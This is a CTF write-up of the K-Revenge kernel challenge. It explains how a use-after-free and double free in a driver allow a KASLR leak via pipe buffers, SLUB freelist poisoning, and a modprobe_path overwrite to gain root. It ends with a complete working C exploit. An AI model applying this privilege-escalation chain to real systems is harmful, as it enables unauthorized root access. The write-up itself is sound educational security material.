Pipe Buffer Leaks and SLUB Freelist Poisoning by using a Double Free attack

K-Revenge is a small kernel challenge from TCP1P CTF 2024 ctf. The driver gives us a use-after-free read and a double-free through the same global pointer. That is enough to leak KASLR with a pipe, poison kmalloc-128, and make an allocation land on modprobe_path.

The chain is fairly short:

  1. Free a 0x400 driver allocation and reclaim it with a pipe ring.
  2. Read pipe_buffer.ops through the stale pointer to get the kernel base.
  3. Double-free a 0x80 allocation and turn it into a freelist cycle.
  4. Replace the freelist's next pointer with modprobe_path.
  5. Allocate on top of modprobe_path and change it to /tmp/x.
  6. Execute a junk file so the kernel runs /tmp/x as root.

1. Reversing the driver

The useful symbols in k.ko are device_ioctl and the global .bss pointer called heap. The ioctl interface is tiny:

#define ALLOC 0x1111
#define READ  0x2222
#define FREE  0x3333

struct request {
    uint64_t size;
    void *buffer;
};

The handler boils down to this decompiled code: decompiled

There are a few interesting things packed into this small handler:

  • UAF read: FREE leaves heap pointing at freed memory and READ copies from it.
  • Double-free: a second FREE passes the same pointer to kfree() again.
  • Global state: every file descriptor and process shares heap; reopening /dev/K does not reset anything.

When opening /dev/K once and we can reuse that descriptor for the whole exploit. The file descriptor only gets us into device_ioctl; it does not own heap or create a separate driver object.

The whole exploit looks like this:

prepare helper
      |
      v
free kmalloc-1k object --reclaim with pipe--> leak kernel .data pointer
      |                                             |
      |                                             v
      |                                      calculate KASLR base
      v
double-free kmalloc-128 object
      |
      v
poison freelist with modprobe_path
      |
      v
kmalloc returns modprobe_path --> overwrite with /tmp/x
      |
      v
execute invalid file --> kernel runs /tmp/x as root

2. A little setup first

The exploit starts with:

setup();
pin_to_cpu0();

setup() creates two files:

  • /tmp/x, the script that should run as root;
  • /tmp/execthis, a four-byte invalid executable used to request a binary format module.

SLUB has per-CPU freelists, so I pin the process to CPU 0. The VM currently has one vCPU anyway, but keeping the pin here avoids a very annoying source of random failures if that ever changes.

3. Leaking KASLR with a pipe

Free the driver object

char leak_buf[0x400] = {0};

int fd = open("/dev/K", O_RDWR);
do_alloc(fd, leak_buf, sizeof(leak_buf)); // kmalloc(0x400)
do_free(fd);                              // heap still points to it

A 0x400 request lands in kmalloc-1k. do_free() releases it, but the driver keeps the address:

driver heap
    |
    v
+--------------------------+
| freed kmalloc-1k object A |  <- available to the allocator
+--------------------------+

Now we can put a pipe there to leak a kernel address.

The exploit creates a pipe and writes to it:

int pipefd[2];
pipe(pipefd);
write(pipefd[1], "i", 1);

For this kernel, a new pipe has a default ring of 16 struct pipe_buffer entries. On x86-64 each entry is 0x28 bytes:

16 * 0x28 = 0x280 = 640 bytes
kmalloc_size_roundup(640) = 0x400 bytes -> kmalloc-1k

So the pipe ring lands in the same cache as the freed driver allocation.

The transition is:

after do_free()                    after pipe()

driver heap                        driver heap (dangling)
    |                                  |
    v                                  v
+----------+                       +-------------------+
| free A   |  -- kmalloc-1k -->    | pipe_buffer[16] A|
+----------+                       +-------------------+
                                        ^
                                        |
                                   pipe owns A

Keep the pipe file descriptors open until after the UAF read. Closing both ends can free the ring and invalidate the metadata being leaked.

Why the one-byte write matters

pipe() allocates the ring, but its entries begin empty. Writing at least one byte initializes the first pipe_buffer:

struct pipe_buffer at reclaimed object + 0x00

  +0x00  +-------------------------------+
         | struct page *page             | 8 bytes
  +0x08  +-------------------------------+
         | u32 offset                    | 4 bytes
  +0x0c  +-------------------------------+
         | u32 len = 1                   | 4 bytes
  +0x10  +-------------------------------+
         | pipe_buf_operations *ops      | 8 bytes  <-- leak
  +0x18  +-------------------------------+
         | u32 flags + padding           | 8 bytes
  +0x20  +-------------------------------+
         | unsigned long private         | 8 bytes
  +0x28  +-------------------------------+

For a normal anonymous pipe, ops points to the kernel's static anon_pipe_buf_ops object. The "i" itself is not magic and lives in a separate page. I only need the write to make the kernel fill the first pipe_buffer, including that useful ops pointer.

Reading pipe_buffer.ops through the UAF

do_read(fd, leak_buf, sizeof(leak_buf));

uint64_t ops = *(uint64_t *)&leak_buf[0x10];
uint64_t kbase = ops - 0x121ee40;

pipeleak

do_read still follows the driver's dangling heap pointer, which now refers to the live pipe ring. Offset 0x10 is the first pipe buffer's ops pointer.

Now we can calculate the kbase i used the bata24/gef kmagic and kbase command to see kbase easily and to see the specific offsets in a instant.

uint64_t kbase = *(uint64_t*)&leak_buf[0x10] - 0x121ee40;
printf("kbase : 0x%llx\n", kbase);
uint64_t modprobe_path = kbase + 0x01b3f100;
printf("modprobe_path : 0x%llx\n", modprobe_path);

4. Making a kmalloc-128 freelist cycle

The write stage starts in a different slab cache:

char buf[0x80];

do_alloc(fd, buf, sizeof(buf)); // object A from kmalloc-128
do_free(fd);                    // free A once
do_free(fd);                    // free A again

doublefreegdb SLUB stores a next pointer inside each free object. In this Linux 6.10 layout, the normal kmalloc cache places that pointer halfway through the object:

freelist pointer offset = ALIGN_DOWN(object_size / 2, sizeof(void *))
                        = ALIGN_DOWN(0x80 / 2, 8)
                        = 0x40

That is where the +0x40 comes from:

*(uint64_t *)&buf[0x40] = modprobe_path;

Do not assume that the freelist pointer is always at +0x40, or even inside the user-visible object. It depends on kernel version, allocator, cache flags, debugging options, constructors, KASAN, and hardening.

What the two frees do

Assume the old freelist begins with object B:

before free(A):

CPU freelist -> B -> C -> ...

after first free(A):

CPU freelist -> A -> B -> C -> ...
                |
                +-- *(A + 0x40) = B

after second free(A):

CPU freelist -> A --+
                ^   |
                +---+

                *(A + 0x40) = A

The second free sees A at the head and writes A into its own next field. We now have a tiny freelist loop. pointtoself

This exact pattern would hit the object == next check when CONFIG_SLAB_FREELIST_HARDENED is active. Hardened SLUB also encodes next pointers using a per-cache random value and the storage address. The fact that this exploit accepts the immediate second free and a raw modprobe_path pointer is strong evidence that freelist hardening is disabled in this build.

5. Poisoning the freelist

After creating the cycle, the exploit performs two allocations with modprobe_path at buf + 0x40:

*(uint64_t *)&buf[0x40] = modprobe_path;
do_alloc(fd, buf, sizeof(buf));
do_alloc(fd, buf, sizeof(buf));

The order is the whole trick:

  1. The first allocation returns A. The cycle leaves A at the freelist head, then the driver's copy writes modprobe_path into A + 0x40.
  2. The second allocation returns A again. SLUB reads the forged next pointer, so the new freelist head becomes modprobe_path.
  3. The third allocation returns modprobe_path. The driver's normal copy_from_user() now writes our new helper path there.

Visually, it ends up like this:

initial cycle              after allocation #1 copies buf

head -> A -> A             head -> A -> modprobe_path


after allocation #2       allocation #3

head -> modprobe_path      kmalloc(0x80) returns modprobe_path
                                  |
                                  v
                           copy_from_user(..., "/tmp/x", 0x80)

The third allocation is:

char new_path[0x80] = {0};
strcpy(new_path, "/tmp/x");
do_alloc(fd, new_path, sizeof(new_path));

Every ioctl uses the same /dev/K descriptor from the leak stage. There is no reason to reopen it: the driver tracks the allocation in its global heap pointer, not in the file descriptor.

6. Overwriting modprobe_path

modprobe_path normally contains /sbin/modprobe. When the kernel needs a module, that is the userspace helper it runs. We change the string to /tmp/x and let the kernel do the privileged part for us.

setup() creates an invalid executable:

FILE *f = fopen("/tmp/execthis", "wb");
char magic[] = {0xff, 0xff, 0xff, 0xff};
fwrite(magic, 1, sizeof(magic), f);
fclose(f);
chmod("/tmp/execthis", 0755);

Then it executes the file:

system("/tmp/execthis");

The kernel has no binary handler for magic 0xffff, so it asks for a module named binfmt-ffff. That request goes through our overwritten modprobe_path, and /tmp/x runs as root.

Seeing an error such as this afterward is expected:

/tmp/execthis: line 1: ....: not found

The helper request occurs during the failed execve; the invalid file still cannot execute after the helper returns.

7. Full exploit

#define _GNU_SOURCE

#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>

#define SAFE(result) \
({ \
  typeof(result) _r = (result); \
  if (_r < 0) printf("[-] %s:%d: returned %p\n", __FILE__, __LINE__, _r); \
  _r; \
});

#define TARGET_SZ 128

void debug() {
  printf("Debug\n");
  getchar();
}

#define ALLOC 0x1111
#define READ 0x2222
#define FREE 0x3333


static void die(const char *message)
{
    perror(message);
    exit(EXIT_FAILURE);
}

static void pin_to_cpu0(void)
{
    cpu_set_t cpus;

    CPU_ZERO(&cpus);
    CPU_SET(0, &cpus);
    if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
        die("sched_setaffinity");
}

void examine(uint64_t* buffer, int n){
    fprintf(stderr, "= hex =\n");
    for (int i = 0; i < n; i++){
        fprintf(stderr, "[%04x] 0x%016lx\n", i, buffer[i]);
    }
}

struct request {
    uint64_t size;
    void *buffer;
};

static int do_alloc(int fd, const void *buffer, size_t size)
{
    struct request req = { size, (void *)buffer };
    if (size < 0x80) {
        if (size > 0x400) {
            perror("size mismatch");
        }
    }
    return ioctl(fd, ALLOC, &req);
}

static int do_read(int fd, void *buffer, size_t size)
{
    struct request req = { size, buffer };
    if (size < 0x80) {
        if (size > 0x400) {
            perror("size mismatch");
        }
    }
    return ioctl(fd, READ, &req);
}

static int do_free(int fd)
{
    struct request req = {0};
    return ioctl(fd, FREE, &req);
}

void dump_buffer(void *buf, int len) {
    printf("\nDumping %d bytes.\n\n", len);
    for (int i = 0; i < len; i += 0x10){
        printf("Addr[%03d, 0x%03x]:\t%016lx: 0x", i / 0x08, i, (unsigned long)(buf + i));
        for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j));
        printf(" - 0x");
        for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j + 8));
        printf(" |");
        for (size_t j = 0; j < 0x10 && i + j < len; j++) {
          unsigned char c = *(unsigned char *)(buf +i + j);
          putchar((c >= 0x20 && c <= 0x7e) ? c : '.');
        }
        printf("|\n");
    }
}


void setup(){
    FILE *f = fopen("/tmp/x", "w");                                                                                                                                                                  
    fprintf(f, "#!/bin/sh\n");                                                                                                                                                                       
    fprintf(f, "chmod 777 /root/flag\n");  // location of the flag                                                                                                                                                                                                                                                                                                                       
    fprintf(f, "id > /tmp/proof\n");                                                                                                                                                                                                                                                                                                                            
    fclose(f);                                                                                                                                                                                       
    chmod("/tmp/x", 0755);                                                                                                                                                                            
                                                                                                                                                                                                    
    // Create /tmp/execthis with invalid binary magic                                                                                                                                                     
    f = fopen("/tmp/execthis", "wb");                                                                                                                                                                     
    char magic[] = {0xff, 0xff, 0xff, 0xff};                                                                                                                                                         
    fwrite(magic, 1, 4, f);                                                                                                                                                                          
    fclose(f);                                                                                                                                                                                       
    chmod("/tmp/execthis", 0755);

}

int main(void) {
    setup();
    pin_to_cpu0();

    char leak_buf[0x400] = {0};

    // 1. UAF
    int fd = SAFE(open("/dev/K", O_RDWR));
    do_alloc(fd, leak_buf, sizeof(leak_buf));
    do_free(fd);

    // 2. Write a pipe to get a kernel leak
    int pipefd[2];
    pipe(pipefd);
    write(pipefd[1], "i", 1);
    do_read(fd, leak_buf, sizeof(leak_buf));
    dump_buffer(&leak_buf, 0x40);
    uint64_t kbase = *(uint64_t*)&leak_buf[0x10] - 0x121ee40;
    printf("kbase : 0x%llx\n", kbase);
    uint64_t modprobe_path = kbase + 0x01b3f100;
    printf("modprobe_path : 0x%llx\n", modprobe_path);

    // 3. double free
    char buf[0x80];
    do_alloc(fd, buf, sizeof(buf));
    do_free(fd);
    do_free(fd);

    // 4. get new pointer and write modprobe path on 0x40 to do a freelist poisoning
    *(uint64_t*)&buf[0x40] = modprobe_path;
    do_alloc(fd, buf, sizeof(buf));
    do_alloc(fd, buf, sizeof(buf));

    // 5. write /tmp/x to modprobe_path
    char new_path[0x80] = {0};
    strcpy(new_path, "/tmp/x\x00");
    do_alloc(fd, new_path, sizeof(new_path));
    
    // 6. execute the overwritten modprobe_path to execute our lpe script
    system("/tmp/execthis");
    system("cat /root/flag");
    return 0;
}

poc

References